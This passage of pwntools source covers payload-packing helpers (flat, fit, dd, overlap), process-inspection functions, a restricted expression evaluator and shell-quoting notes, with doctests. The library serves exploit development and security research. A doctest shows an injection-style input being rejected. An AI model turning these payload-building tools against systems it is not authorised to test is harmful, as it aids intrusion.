flat({0x61616162: b'y', 0x61616161: b'x'})\n        b'xaaay'\n\n        Fields do not have to be in order, and can be freely mixed.\n\n        >>> flat({'caaa': b'XXXX', 16: b'\\x41', 20: 0xdeadbeef})\n        b'aaaabaaaXXXXdaaaAaaa\\xef\\xbe\\xad\\xde'\n        >>> flat({ 8: [0x41414141, 0x42424242], 20: b'CCCC'})\n        b'aaaabaaaAAAABBBBeaaaCCCC'\n        >>> fit({\n        ...     0x61616161: b'a',\n        ...     1: b'b',\n        ...     0x61616161+2: b'c',\n        ...     3: b'd',\n        ... })\n        b'abadbaaac'\n\n        By default, gaps in the data are filled in with the :meth:`.cyclic` pattern.\n        You can customize this by providing an iterable or method for the ``filler``\n        argument.\n\n        >>> flat({12: b'XXXX'}, filler = b'_', length = 20)\n        b'____________XXXX____'\n        >>> flat({12: b'XXXX'}, filler = b'AB', length = 20)\n        b'ABABABABABABXXXXABAB'\n\n        Nested dictionaries also work as expected.\n\n        >>> flat({4: {0: b'X', 4: b'Y'}})\n        b'aaaaXaaaY'\n        >>> fit({4: {4: b'XXXX'}})\n        b'aaaabaaaXXXX'\n\n        Negative indices are also supported, though this only works for integer\n        keys.\n\n        >>> flat({-4: b'x', -1: b'A', 0: b'0', 4: b'y'})\n        b'xaaA0aaay'\n    \"\"\"\n    # HACK: To avoid circular imports we need to delay the import of `cyclic`\n    from pwnlib.util import cyclic\n\n    preprocessor = kwargs.pop('preprocessor', lambda x: None)\n    filler       = kwargs.pop('filler', cyclic.de_bruijn())\n    length       = kwargs.pop('length', None)\n    stacklevel   = kwargs.pop('stacklevel', 0)\n\n    if isinstance(filler, str):\n        filler = bytearray(_need_bytes(filler))\n\n    if kwargs != {}:\n        raise TypeError(\"flat() does not support argument %r\" % kwargs.popitem()[0])\n\n    filler = iters.cycle(filler)\n    out = _flat(args, preprocessor, make_packer(), filler, stacklevel + 2)\n\n    if length:\n        if len(out) > length:\n            raise ValueError(\"flat(): Arguments does not fit within `length` (= %d) bytes\" % length)\n        out += b''.join(p8(next(filler)) for _ in range(length - len(out)))\n\n    return out\n\ndef fit(*args, **kwargs):\n    \"\"\"Legacy alias for :func:`flat`\"\"\"\n    kwargs['stacklevel'] = kwargs.get('stacklevel', 0) + 1\n    return flat(*args, **kwargs)\n\n\"\"\"\n    Generates a string from a dictionary mapping offsets to data to place at\n    that offset.\n\n    For each key-value pair in `pieces`, the key is either an offset or a byte\n    sequence.  In the latter case, the offset will be the lowest index at which\n    the sequence occurs in `filler`.  See examples below.\n\n    Each piece of data is passed to :meth:`flat` along with the keyword\n    arguments `word_size`, `endianness` and `sign`.\n\n    Space between pieces of data is filled out using the iterable `filler`.  The\n    `n`'th byte in the output will be byte at index ``n % len(iterable)`` byte\n    in `filler` if it has finite length or the byte at index `n` otherwise.\n\n    If `length` is given, the output will padded with bytes from `filler` to be\n    this size.  If the output is longer than `length`, a :py:exc:`ValueError`\n    exception is raised.\n\n    If entries in `pieces` overlap, a :py:exc:`ValueError` exception is\n    raised.\n\n    Arguments:\n      pieces: Offsets and values to output.\n      length: The length of the output.\n      filler: Iterable to use for padding.\n      preprocessor (function): Gets called on every element to optionally\n         transform the element before flattening. If :const:`None` is\n         returned, then the original value is used.\n      word_size (int): Word size of the converted integer (in bits).\n      endianness (str): Endianness of the converted integer (\"little\"/\"big\").\n      sign (str): Signedness of the converted integer (False/True)\n\n    Examples:\n\n    \"\"\"\n\ndef signed(integer):\n    return unpack(pack(integer), signed=True)\n\ndef unsigned(integer):\n    return unpack(pack(integer))\n\ndef dd(dst, src, count = 0, skip = 0, seek = 0, truncate = False):\n    \"\"\"dd(dst, src, count = 0, skip = 0, seek = 0, truncate = False) -> dst\n\n    Inspired by the command line tool ``dd``, this function copies `count` byte\n    values from offset `seek` in `src` to offset `skip` in `dst`.  If `count` is\n    0, all of ``src[seek:]`` is copied.\n\n    If `dst` is a mutable type it will be updated.  Otherwise, a new instance of\n    the same type will be created.  In either case the result is returned.\n\n    `src` can be an iterable of characters or integers, a unicode string or a\n    file object.  If it is an iterable of integers, each integer must be in the\n    range [0;255].  If it is a unicode string, its UTF-8 encoding will be used.\n\n    The seek offset of file objects will be preserved.\n\n    Arguments:\n        dst: Supported types are :class:`file`, :class:`list`, :class:`tuple`,\n             :class:`str`, :class:`bytearray` and :class:`unicode`.\n        src: An iterable of byte values (characters or integers), a unicode\n             string or a file object.\n        count (int): How many bytes to copy.  If `count` is 0 or larger than\n                     ``len(src[seek:])``, all bytes until the end of `src` are\n                     copied.\n        skip (int): Offset in `dst` to copy to.\n        seek (int): Offset in `src` to copy from.\n        truncate (bool): If :const:`True`, `dst` is truncated at the last copied\n                         byte.\n\n    Returns:\n        A modified version of `dst`.  If `dst` is a mutable type it will be\n        modified in-place.\n\n    Examples:\n\n        >>> dd(tuple('Hello!'), b'?', skip = 5)\n        ('H', 'e', 'l', 'l', 'o', b'?')\n        >>> dd(list('Hello!'), (63,), skip = 5)\n        ['H', 'e', 'l', 'l', 'o', b'?']\n\n    .. doctest::\n        :options: +POSIX +TODO\n\n        >>> _ = open('/tmp/foo', 'w').write('A' * 10)\n        >>> dd(open('/tmp/foo'), open('/dev/zero'), skip = 3, count = 4).read()\n        'AAA\\\\x00\\\\x00\\\\x00\\\\x00AAA'\n        >>> _ = open('/tmp/foo', 'w').write('A' * 10)\n        >>> dd(open('/tmp/foo'), open('/dev/zero'), skip = 3, count = 4, truncate = True).read()\n        'AAA\\\\x00\\\\x00\\\\x00\\\\x00'\n    \"\"\"\n\n    # Re-open file objects to make sure we have the mode right\n    if hasattr(src, 'name'):\n        src = open(src.name, 'rb')\n    if hasattr(dst, 'name'):\n        real_dst = dst\n        dst = open(dst.name, 'rb+')\n\n    # Special case: both `src` and `dst` are files, so we don't need to hold\n    # everything in memory\n    if hasattr(src, 'seek') and hasattr(dst, 'seek'):\n        src.seek(seek)\n        dst.seek(skip)\n        n = 0\n        if count:\n            while n < count:\n                s = src.read(min(count - n, 0x1000))\n                if not s:\n                    break\n                n += len(s)\n                dst.write(s)\n        else:\n            while True:\n                s = src.read(0x1000)\n                if not s:\n                    break\n                n += len(s)\n                dst.write(s)\n        if truncate:\n            dst.truncate(skip + n)\n        src.close()\n        dst.close()\n        return real_dst\n\n    # Otherwise get `src` in canonical form, i.e. a string of at most `count`\n    # bytes\n    if isinstance(src, str):\n        if count:\n            # The only way to know where the `seek`th byte is, is to decode, but\n            # we only need to decode up to the first `seek + count` code points\n            src = src[:seek + count].encode('utf8')\n            # The code points may result in more that `seek + count` bytes\n            src = src[seek : seek + count]\n        else:\n            src = src.encode('utf8')[seek:]\n\n    elif hasattr(src, 'seek'):\n        src.seek(seek)\n        src_ = b''\n        if count:\n            while len(src_) < count:\n                s = src.read(count - len(src_))\n                if not s:\n                    break\n                src_ += s\n        else:\n            while True:\n                s = src.read()\n                if not s:\n                    break\n                src_ += s\n        src.close()\n        src = src_\n\n    elif isinstance(src, bytes):\n        if count:\n            src = src[seek : seek + count]\n        else:\n            src = src[seek:]\n\n    elif hasattr(src, '__iter__'):\n        src = src[seek:]\n        src_ = b''\n        for i, b in enumerate(src, seek):\n            if count and i > count + seek:\n                break\n            if isinstance(b, bytes):\n                src_ += b\n            elif isinstance(b, int):\n                if b > 255 or b < 0:\n                    raise ValueError(\"dd(): Source value %d at index %d is not in range [0;255]\" % (b, i))\n                src_ += _p8lu(b)\n            else:\n                raise TypeError(\"dd(): Unsupported `src` element type: %r\" % type(b))\n        src = src_\n\n    else:\n        raise TypeError(\"dd(): Unsupported `src` type: %r\" % type(src))\n\n    # If truncate, then where?\n    if truncate:\n        truncate = skip + len(src)\n\n    # UTF-8 encode unicode `dst`\n    if isinstance(dst, str):\n        dst = dst.encode('utf8')\n        utf8 = True\n    else:\n        utf8 = False\n\n    # Match on the type of `dst`\n    if   hasattr(dst, 'seek'):\n        dst.seek(skip)\n        dst.write(src)\n        if truncate:\n            dst.truncate(truncate)\n        dst.close()\n        dst = real_dst\n\n    elif isinstance(dst, (list, bytearray)):\n        dst[skip : skip + len(src)] = list(map(p8, bytearray(src)))\n        if truncate:\n            while len(dst) > truncate:\n                dst.pop()\n\n    elif isinstance(dst, tuple):\n        tail = dst[skip + len(src):]\n        dst = dst[:skip] + tuple(map(p8, bytearray(src)))\n        if not truncate:\n            dst = dst + tail\n\n    elif isinstance(dst, bytes):\n        tail = dst[skip + len(src):]\n        dst = dst[:skip] + src\n        if not truncate:\n            dst = dst + tail\n\n    else:\n        raise TypeError(\"dd(): Unsupported `dst` type: %r\" % type(dst))\n\n    if utf8:\n        dst = dst.decode('utf8')\n\n    return dst\n\ndef _need_bytes(s, level=1, min_wrong=0):\n    if isinstance(s, (bytes, bytearray)):\n        return s   # already bytes\n\n    encoding = context.encoding\n    errors = 'strict'\n    worst = -1\n    if encoding == 'auto':\n        worst = s and max(map(ord, s)) or 0\n        if worst > 255:\n            encoding = 'UTF-8'\n            errors = 'surrogateescape'\n        elif worst > 127:\n            encoding = 'ISO-8859-1'\n        else:\n            encoding = 'ASCII'\n\n    if worst >= min_wrong:\n        warnings.warn(\"Text is not bytes; assuming {}, no guarantees. See https://docs.pwntools.com/#bytes\"\n                      .format(encoding), BytesWarning, level + 2)\n    return s.encode(encoding, errors)\n\ndef _need_text(s, level=1):\n    if isinstance(s, str):\n        return s   # already text\n\n    if not isinstance(s, (bytes, bytearray)):\n        return repr(s)\n\n    encoding = context.encoding\n    errors = 'strict'\n    if encoding == 'auto':\n        for encoding in 'ASCII', 'UTF-8', 'ISO-8859-1':\n            try:\n                s.decode(encoding)\n            except UnicodeDecodeError:\n                pass\n            else:\n                break\n\n    warnings.warn(\"Bytes is not text; assuming {}, no guarantees. See https://docs.pwntools.com/#bytes\"\n                  .format(encoding), BytesWarning, level + 2)\n    return s.decode(encoding, errors)\n\ndef _encode(s):\n    if isinstance(s, (bytes, bytearray)):\n        return s   # already bytes\n\n    if context.encoding == 'auto':\n        try:\n            return s.encode('latin1')\n        except UnicodeEncodeError:\n            return s.encode('utf-8', 'surrogateescape')\n    return s.encode(context.encoding)\n\ndef _decode(b):\n    if isinstance(b, str):\n        return b   # already text\n\n    if context.encoding == 'auto':\n        try:\n            return b.decode('utf-8')\n        except UnicodeDecodeError:\n            return b.decode('latin1')\n        except AttributeError:\n            return b\n    return b.decode(context.encoding)\n\ndef overlap(*structs: bytes | tuple[bytes, int]) -> bytes:\n    r\"\"\"overlap(*structs: bytes | tuple[bytes, int]) -> bytes\n\n    Merge multiple byte sequences with possible positional offsets into a\n    single overlapped bytes object. From lowest byte index, scan through\n    every bytes object, if only one byte is non-zero, then the output will\n    append that byte. If multiple non-zero bytes are found at the same index,\n    an error will be thrown as these bytes objects can not be overlapped.\n\n    If holes present as the bytes object has an ``offset`` or its length is\n    not enough to align to the output bytes object length, these holes are\n    set to ``\\x00`` implicitly.\n\n    See the examples below for how this function works.\n\n    Arguments:\n        *structs(bytes | tuple[bytes, int]): ``bytes`` objects like ``b'123'``\n            or adding an optional offset like ``(b'123', 3)``. The ``offset``\n            can be positive or negative or 0. ``bytes`` objects has an\n            implicit offset 0.\n\n    Returns:\n        A **minimal** bytes object merged from input bytes objects.\n        That means, offsets are aligned to 0 first to keep output minimal.\n\n    Raises:\n        BufferError: If multiple non-zero values appears at the same index\n\n    Examples:\n\n        >>> overlap(b'\\x00123', b'a\\x00\\x00\\x00b')\n        b'a123b'\n        >>> overlap(b'11\\x00\\x0022', (b'33\\x00\\x0044', 2))\n        b'11332244'\n        >>> overlap((b'123', -10), (b'45\\x00', -6)) # not b'123\\x0045\\x00\\x00\\x00\\x00'\n        b'123\\x0045\\x00'\n        >>> overlap((b'xx', 2), (b'yy', 0))\n        b'yyxx'\n        >>> overlap((b'123', 1), b'456')\n        Traceback (most recent call last):\n            ...\n        BufferError: Conflicting value structs[0][0] = 0x31 and structs[1][1] = 0x35 when overlapping\n    \"\"\"\n    if len(structs) == 0:\n        return b''\n    if len(structs) == 1:\n        if isinstance(structs[0], tuple):\n            return _need_bytes(structs[0][0])\n        return _need_bytes(structs[0])  # structs[0] is bytes\n\n    segments: list[tuple[bytes, int]] = [\n        # ensure types\n        (_need_bytes(elem[0]), int(elem[1]))\n        if isinstance(elem, tuple) else\n        (_need_bytes(elem), 0)\n        for elem in structs\n    ]\n\n    # find lowest offset and subtract it to align offsets\n    compensation = min(elem[1] for elem in segments)\n    segments = [(elem[0], elem[1] - compensation) for elem in segments]\n\n    length = max(len(elem[0]) + elem[1] for elem in segments)\n    output = bytearray(length) # bytearray initialize all bytes as 0\n\n    # overlap segments and fail if multiple non-zero value at the same index\n    for seg_i, e in enumerate(segments):\n        segment, offset = e\n        for i, b in enumerate(segment):\n            if b != 0:\n                abs_idx = offset + i\n                if output[abs_idx] == 0:\n                    output[abs_idx] = b\n                else:\n                    old = output[abs_idx]\n                    for seg_j, e in enumerate(segments[:seg_i]):\n                        prev_seg, prev_off = e\n                        if abs_idx < prev_off or abs_idx >= prev_off + len(prev_seg):\n                            continue\n                        j = abs_idx - prev_off\n                        if old == prev_seg[abs_idx - prev_off]:\n                            break\n                    raise BufferError(\n                        f'Conflicting value '\n                        f'structs[{seg_j}][{j}] = {old:#x} '\n                        f'and structs[{seg_i}][{i}] = {b:#x} '\n                        f'when overlapping'\n                    )\n\n    return bytes(output)\n\ndel op, size, end, sign\ndel name, routine, mod\n"
  },
  {
    "path": "pwnlib/util/proc.py",
    "content": "import errno\nimport socket\nimport sys\nimport time\n\nimport psutil\n\nfrom pwnlib import tubes\nfrom pwnlib.log import getLogger\nfrom .net import sock_match\nfrom pwnlib.timeout import Timeout\n\nlog = getLogger(__name__)\n\nall_pids = psutil.pids\n\ndef pidof(target):\n    \"\"\"pidof(target) -> int list\n\n    Get PID(s) of `target`.  The returned PID(s) depends on the type of `target`:\n\n    - :class:`str`: PIDs of all processes with a name matching `target`.\n    - :class:`pwnlib.tubes.process.process`: singleton list of the PID of `target`.\n    - :class:`pwnlib.tubes.sock.sock`: singleton list of the PID at the\n      remote end of `target` if it is running on the host.  Otherwise an\n      empty list.\n    - :class:`pwnlib.tubes.ssh.ssh_channel`: singleton list of the PID of\n      `target` on the remote system.\n    - :class:`tuple`: singleton list of the PID at the local end of the\n        connection to `target` if it is running on the host.  Otherwise an\n        empty list.\n\n    Arguments:\n        target(object):  The target whose PID(s) to find.\n\n    Returns:\n        A list of found PIDs.\n\n    Example:\n\n        >>> l = tubes.listen.listen()\n        >>> p = process(['curl', '-s', 'http://127.0.0.1:%d'%l.lport])\n        >>> pidof(p) == pidof(l) == pidof(('127.0.0.1', l.rport))\n        True\n    \"\"\"\n    if isinstance(target, tubes.ssh.ssh_channel):\n        return [target.pid]\n\n    elif isinstance(target, tubes.sock.sock):\n        local  = target.sock.getsockname()\n        remote = target.sock.getpeername()\n        match = sock_match(remote, local, target.family, target.type)\n        return [c.pid for c in psutil.net_connections() if match(c)]\n\n    elif isinstance(target, tuple):\n        match = sock_match(target, None)\n        return [c.pid for c in psutil.net_connections() if match(c)]\n\n    elif isinstance(target, tubes.process.process):\n        return [target.proc.pid]\n\n    else:\n        return pid_by_name(target)\n\ndef pid_by_name(name):\n    \"\"\"pid_by_name(name) -> int list\n\n    Arguments:\n        name (str): Name of program.\n\n    Returns:\n        List of PIDs matching `name` sorted by lifetime, youngest to oldest.\n\n    Example:\n\n        >>> os.getpid() in pid_by_name(name(os.getpid()))\n        True\n    \"\"\"\n    def match(p):\n        if p.status() == 'zombie':\n            return False\n        if p.name() == name:\n            return True\n        try:\n            if p.exe() == name:\n                return True\n            if p.cmdline()[0] == name:\n                return True\n        except Exception:\n            pass\n        return False\n\n    processes = (p for p in psutil.process_iter() if match(p))\n\n    processes = sorted(processes, key=lambda p: p.create_time(), reverse=True)\n\n    return [p.pid for p in processes]\n\ndef name(pid):\n    \"\"\"name(pid) -> str\n\n    Arguments:\n        pid (int): PID of the process.\n\n    Returns:\n        Name of process as listed in ``/proc/<pid>/status``.\n\n    Example:\n\n        >>> p = process('cat')\n        >>> name(p.pid)\n        'cat'\n    \"\"\"\n    return psutil.Process(pid).name()\n\ndef parent(pid):\n    \"\"\"parent(pid) -> int\n\n    Arguments:\n        pid (int): PID of the process.\n\n    Returns:\n        Parent PID as listed in ``/proc/<pid>/status`` under ``PPid``,\n        or 0 if there is not parent.\n    \"\"\"\n    try:\n         return psutil.Process(pid).parent().pid\n    except Exception:\n         return 0\n\ndef children(ppid):\n    \"\"\"children(ppid) -> int list\n\n    Arguments:\n        pid (int): PID of the process.\n\n    Returns:\n        List of PIDs of whose parent process is `pid`.\n    \"\"\"\n    return [p.pid for p in psutil.Process(ppid).children()]\n\ndef ancestors(pid):\n    \"\"\"ancestors(pid) -> int list\n\n    Arguments:\n        pid (int): PID of the process.\n\n    Returns:\n        List of PIDs of whose parent process is `pid` or an ancestor of `pid`.\n\n    Example:\n\n        >>> ancestors(os.getpid()) # doctest: +ELLIPSIS\n        [..., 1]\n    \"\"\"\n    pids = []\n    while pid != 0:\n         pids.append(pid)\n         pid = parent(pid)\n    return pids\n\ndef descendants(pid):\n    \"\"\"descendants(pid) -> dict\n\n    Arguments:\n        pid (int): PID of the process.\n\n    Returns:\n        Dictionary mapping the PID of each child of `pid` to it's descendants.\n\n    Example:\n\n        >>> d = descendants(os.getppid())\n        >>> os.getpid() in d.keys()\n        True\n    \"\"\"\n    this_pid = pid\n    allpids = all_pids()\n    ppids = {}\n    def _parent(pid):\n         if pid not in ppids:\n             ppids[pid] = parent(pid)\n         return ppids[pid]\n    def _children(ppid):\n         return [pid for pid in allpids if _parent(pid) == ppid]\n    def _loop(ppid):\n         return {pid: _loop(pid) for pid in _children(ppid)}\n    return _loop(pid)\n\ndef exe(pid):\n    \"\"\"exe(pid) -> str\n\n    Arguments:\n        pid (int): PID of the process.\n\n    Returns:\n        The path of the binary of the process. I.e. what ``/proc/<pid>/exe`` points to.\n\n    Example:\n\n        >>> exe(os.getpid()) == os.path.realpath(sys.executable)\n        True\n    \"\"\"\n    return psutil.Process(pid).exe()\n\ndef cwd(pid):\n    \"\"\"cwd(pid) -> str\n\n    Arguments:\n        pid (int): PID of the process.\n\n    Returns:\n        The path of the process's current working directory. I.e. what\n        ``/proc/<pid>/cwd`` points to.\n\n    Example:\n\n        >>> cwd(os.getpid()) == os.getcwd()\n        True\n    \"\"\"\n    return psutil.Process(pid).cwd()\n\ndef cmdline(pid):\n    \"\"\"cmdline(pid) -> str list\n\n    Arguments:\n        pid (int): PID of the process.\n\n    Returns:\n        A list of the fields in ``/proc/<pid>/cmdline``.\n\n    Example:\n\n        >>> 'py' in ''.join(cmdline(os.getpid()))\n        True\n    \"\"\"\n    return psutil.Process(pid).cmdline()\n\ndef memory_maps(pid):\n    \"\"\"memory_maps(pid) -> list\n    \n    Arguments:\n        pid (int): PID of the process.\n\n    Returns:\n        A list of the memory mappings in the process.\n\n    Example:\n\n        >>> maps = memory_maps(os.getpid())\n        >>> [(m.path, m.perms) for m in maps if '[stack]' in m.path]\n        [('[stack]', 'rw-p')]\n\n    \"\"\"\n    return psutil.Process(pid).memory_maps(grouped=False)\n\ndef stat(pid):\n    \"\"\"stat(pid) -> str list\n\n    Arguments:\n        pid (int): PID of the process.\n\n    Returns:\n        A list of the values in ``/proc/<pid>/stat``, with the exception that ``(`` and ``)`` has been removed from around the process name.\n\n    Example:\n\n        >>> stat(os.getpid())[2]\n        'R'\n    \"\"\"\n    with open('/proc/%d/stat' % pid) as fd:\n         s = fd.read()\n    # filenames can have ( and ) in them, dammit\n    i = s.find('(')\n    j = s.rfind(')')\n    name = s[i+1:j]\n    return s[:i].split() + [name] + s[j+1:].split()\n\ndef starttime(pid):\n    \"\"\"starttime(pid) -> float\n\n    Arguments:\n        pid (int): PID of the process.\n\n    Returns:\n        The time (in seconds) the process started after system boot\n\n    Example:\n\n        >>> starttime(os.getppid()) <= starttime(os.getpid())\n        True\n    \"\"\"\n    return psutil.Process(pid).create_time() - psutil.boot_time()\n\ndef status(pid):\n    \"\"\"status(pid) -> dict\n\n    Get the status of a process.\n\n    Arguments:\n        pid (int): PID of the process.\n\n    Returns:\n        The contents of ``/proc/<pid>/status`` as a dictionary.\n    \"\"\"\n    out = {}\n    try:\n        with open('/proc/%d/status' % pid) as fd:\n            for line in fd:\n                if ':' not in line:\n                    continue\n                i = line.index(':')\n                key = line[:i]\n                val = line[i + 2:-1] # initial :\\t and trailing \\n\n                out[key] = val\n    except OSError as e:\n        if e.errno == errno.ENOENT:\n            raise ValueError('No process with PID %d' % pid)\n        else:\n            raise\n    return out\n\ndef _tracer_windows(pid):\n    import ctypes\n    from ctypes import wintypes\n\n    def _check_bool(result, func, args):\n        if not result:\n            raise ctypes.WinError(ctypes.get_last_error())\n        return args\n\n    kernel32 = ctypes.WinDLL(\"kernel32\", use_last_error=True)\n    OpenProcess = kernel32.OpenProcess \n    OpenProcess.argtypes = [wintypes.DWORD, wintypes.BOOL, wintypes.DWORD]\n    OpenProcess.restype = wintypes.HANDLE\n    OpenProcess.errcheck = _check_bool\n\n    CheckRemoteDebuggerPresent = kernel32.CheckRemoteDebuggerPresent\n    CheckRemoteDebuggerPresent.argtypes = [wintypes.HANDLE, ctypes.POINTER(wintypes.BOOL)]\n    CheckRemoteDebuggerPresent.restype = wintypes.BOOL\n    CheckRemoteDebuggerPresent.errcheck = _check_bool\n\n    CloseHandle = kernel32.CloseHandle\n    CloseHandle.argtypes = [wintypes.HANDLE]\n    CloseHandle.restype = wintypes.BOOL\n    CloseHandle.errcheck = _check_bool\n\n    PROCESS_QUERY_INFORMATION = 0x0400\n    proc_handle = OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)\n    present = wintypes.BOOL()\n    CheckRemoteDebuggerPresent(proc_handle, ctypes.byref(present))\n    ret = 0\n    if present.value:\n        ret = pid\n    CloseHandle(proc_handle)\n\n    return ret\n\ndef tracer(pid):\n    \"\"\"tracer(pid) -> int\n\n    Arguments:\n        pid (int): PID of the process.\n\n    Returns:\n        PID of the process tracing `pid`, or None if no `pid` is not being traced.\n\n    Example:\n\n        >>> tracer(os.getpid()) is None\n        True\n    \"\"\"\n    if sys.platform == 'win32':\n        tpid = _tracer_windows(pid)\n    else:\n        tpid = int(status(pid)['TracerPid'])\n    return tpid if tpid > 0 else None\n\ndef state(pid):\n    \"\"\"state(pid) -> str\n\n    Arguments:\n        pid (int): PID of the process.\n\n    Returns:\n        State of the process as listed in ``/proc/<pid>/status``.  See `proc(5)` for details.\n\n    Example:\n\n        >>> state(os.getpid())\n        'R (running)'\n    \"\"\"\n    return status(pid)['State']\n\ndef wait_for_debugger(pid, debugger_pid=None):\n    \"\"\"wait_for_debugger(pid, debugger_pid=None) -> None\n\n    Sleeps until the process with PID `pid` is being traced.\n    If debugger_pid is set and debugger exits, raises an error.\n\n    Arguments:\n        pid (int): PID of the process.\n\n    Returns:\n        The PID of the debugger that attached to the process.\n    \"\"\"\n    t = Timeout()\n    with t.countdown(timeout=15):\n        with log.waitfor('Waiting for debugger') as l:\n            while t.timeout and tracer(pid) is None:\n                if debugger_pid:\n                    debugger = psutil.Process(debugger_pid)\n                    try:\n                        debugger.wait(0.01)\n                    except psutil.TimeoutExpired:\n                        pass\n                    else:\n                        debugger_pid = 0\n                        break\n                else:\n                    time.sleep(0.01)\n\n            tracer_pid = tracer(pid)\n            if tracer_pid:\n                l.success()\n            elif debugger_pid == 0:\n                l.failure(\"debugger exited! (maybe check /proc/sys/kernel/yama/ptrace_scope)\")\n            else:\n                l.failure('Debugger did not attach to pid %d within 15 seconds', pid)\n            return tracer_pid\n"
  },
  {
    "path": "pwnlib/util/safeeval.py",
    "content": "_const_codes = [\n    'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',\n    'BUILD_LIST','BUILD_MAP', 'MAP_ADD', 'BUILD_TUPLE','BUILD_SET',\n    'BUILD_CONST_KEY_MAP', 'BUILD_STRING',\n    'LOAD_CONST','LOAD_SMALL_INT','RETURN_VALUE','STORE_SUBSCR', 'STORE_MAP',\n    'LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE', 'DICT_UPDATE', 'DICT_MERGE',\n    'COPY', 'RESUME', 'RETURN_CONST'\n    ]\n\n_expr_codes = _const_codes + [\n    'UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',\n    'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY',\n    'BINARY_DIVIDE','BINARY_FLOOR_DIVIDE','BINARY_TRUE_DIVIDE',\n    'BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT',\n    'BINARY_LSHIFT','BINARY_RSHIFT','BINARY_AND','BINARY_XOR',\n    'BINARY_OR',\n    'BINARY_OP',\n    ]\n\n_values_codes = _expr_codes + ['LOAD_NAME']\n\ndef _get_opcodes(codeobj):\n    \"\"\"_get_opcodes(codeobj) -> [opcodes]\n\n    Extract the actual opcodes as a list from a code object\n\n    >>> c = compile(\"[1 + 2, (1,2)]\", \"\", \"eval\")\n    >>> _get_opcodes(c)  # doctest: +SKIP\n    [...100, 100, 103, 83]\n    \"\"\"\n    import dis\n    return [ins.opcode for ins in dis.get_instructions(codeobj)]\n\ndef test_expr(expr, allowed_codes):\n    \"\"\"test_expr(expr, allowed_codes) -> codeobj\n\n    Test that the expression contains only the listed opcodes.\n    If the expression is valid and contains only allowed codes,\n    return the compiled code object. Otherwise raise a ValueError\n    \"\"\"\n    import dis\n    allowed_codes = [dis.opmap[c] for c in allowed_codes if c in dis.opmap]\n    try:\n        c = compile(expr, \"\", \"eval\")\n    except SyntaxError:\n        raise ValueError(\"%r is not a valid expression\" % expr)\n    codes = _get_opcodes(c)\n    for code in codes:\n        if code not in allowed_codes:\n            raise ValueError(\"opcode %s not allowed\" % dis.opname[code])\n    return c\n\ndef const(expr):\n    \"\"\"const(expression) -> value\n\n    Safe Python constant evaluation\n\n    Evaluates a string that contains an expression describing\n    a Python constant. Strings that are not valid Python expressions\n    or that contain other code besides the constant raise ValueError.\n\n    Examples:\n\n        >>> const(\"10\")\n        10\n        >>> const(\"[1,2, (3,4), {'foo':'bar'}]\")\n        [1, 2, (3, 4), {'foo': 'bar'}]\n        >>> const(\"[1]+[2]\")\n        Traceback (most recent call last):\n        ...\n        ValueError: opcode BINARY_ADD not allowed\n    \"\"\"\n\n    c = test_expr(expr, _const_codes)\n    return eval(c)\n\ndef expr(expr):\n    \"\"\"expr(expression) -> value\n\n    Safe Python expression evaluation\n\n    Evaluates a string that contains an expression that only\n    uses Python constants. This can be used to e.g. evaluate\n    a numerical expression from an untrusted source.\n\n    Examples:\n\n        >>> expr(\"1+2\")\n        3\n        >>> expr(\"[1,2]*2\")\n        [1, 2, 1, 2]\n        >>> expr(\"__import__('sys').modules\")\n        Traceback (most recent call last):\n        ...\n        ValueError: opcode LOAD_NAME not allowed\n    \"\"\"\n\n    c = test_expr(expr, _expr_codes)\n    return eval(c)\n\ndef values(expr, env):\n    \"\"\"values(expression, dict) -> value\n\n    Safe Python expression evaluation\n\n    Evaluates a string that contains an expression that only\n    uses Python constants and values from a supplied dictionary.\n    This can be used to e.g. evaluate e.g. an argument to a syscall.\n\n    Note: This is potentially unsafe if e.g. the __add__ method has side\n          effects.\n\n    Examples:\n\n        >>> values(\"A + 4\", {'A': 6})\n        10\n        >>> class Foo:\n        ...    def __add__(self, other):\n        ...        print(\"Firing the missiles\")\n        >>> values(\"A + 1\", {'A': Foo()})\n        Firing the missiles\n        >>> values(\"A.x\", {'A': Foo()})\n        Traceback (most recent call last):\n        ...\n        ValueError: opcode LOAD_ATTR not allowed\n    \"\"\"\n\n    # The caller might need his dictionary again\n    env = dict(env)\n\n    # We do not want to have built-ins set\n    env['__builtins__'] = {}\n\n    c = test_expr(expr, _values_codes)\n    return eval(c, env)\n"
  },
  {
    "path": "pwnlib/util/sh_string.py",
    "content": "r\"\"\"\nRoutines here are for getting any NULL-terminated sequence of bytes evaluated\nintact by any shell.  This includes all variants of quotes, whitespace, and\nnon-printable characters.\n\nSupported Shells\n----------------\n\nThe following shells have been evaluated:\n\n- Ubuntu (dash/sh)\n- MacOS (GNU Bash)\n- Zsh\n- FreeBSD (sh)\n- OpenBSD (sh)\n- NetBSD (sh)\n\nDebian Almquist shell (Dash)\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nUbuntu 14.04 and 16.04 use the Dash shell, and /bin/sh is actually just a\nsymlink to /bin/dash.  The feature set supported when invoked as \"sh\" instead\nof \"dash\" is different, and we focus exclusively on the \"/bin/sh\" implementation.\n\nFrom the `Ubuntu Man Pages`_, every character except for single-quote\ncan be wrapped in single-quotes, and a backslash can be used to escape unquoted\nsingle-quotes.\n\n::\n\n    Quoting\n      Quoting is used to remove the special meaning of certain characters or\n      words to the shell, such as operators, whitespace, or keywords.  There\n      are three types of quoting: matched single quotes, matched double quotes,\n      and backslash.\n\n    Backslash\n      A backslash preserves the literal meaning of the following character,\n      with the exception of ⟨newline⟩.  A backslash preceding a ⟨newline⟩ is\n      treated as a line continuation.\n\n    Single Quotes\n      Enclosing characters in single quotes preserves the literal meaning of\n      all the characters (except single quotes, making it impossible to put\n      single-quotes in a single-quoted string).\n\n    Double Quotes\n      Enclosing characters within double quotes preserves the literal meaning\n      of all characters except dollarsign ($), backquote (`), and backslash\n      (\\).  The backslash inside double quotes is historically weird, and\n      serves to quote only the following characters:\n            $ ` \" \\ <newline>.\n      Otherwise it remains literal.\n\nGNU Bash\n~~~~~~~~\n\nThe Bash shell is default on many systems, though it is not generally the default\nsystem-wide shell (i.e., the `system` syscall does not generally invoke it).\n\nThat said, its prevalence suggests that it also be addressed.\n\nFrom the `GNU Bash Manual`_, every character except for single-quote\ncan be 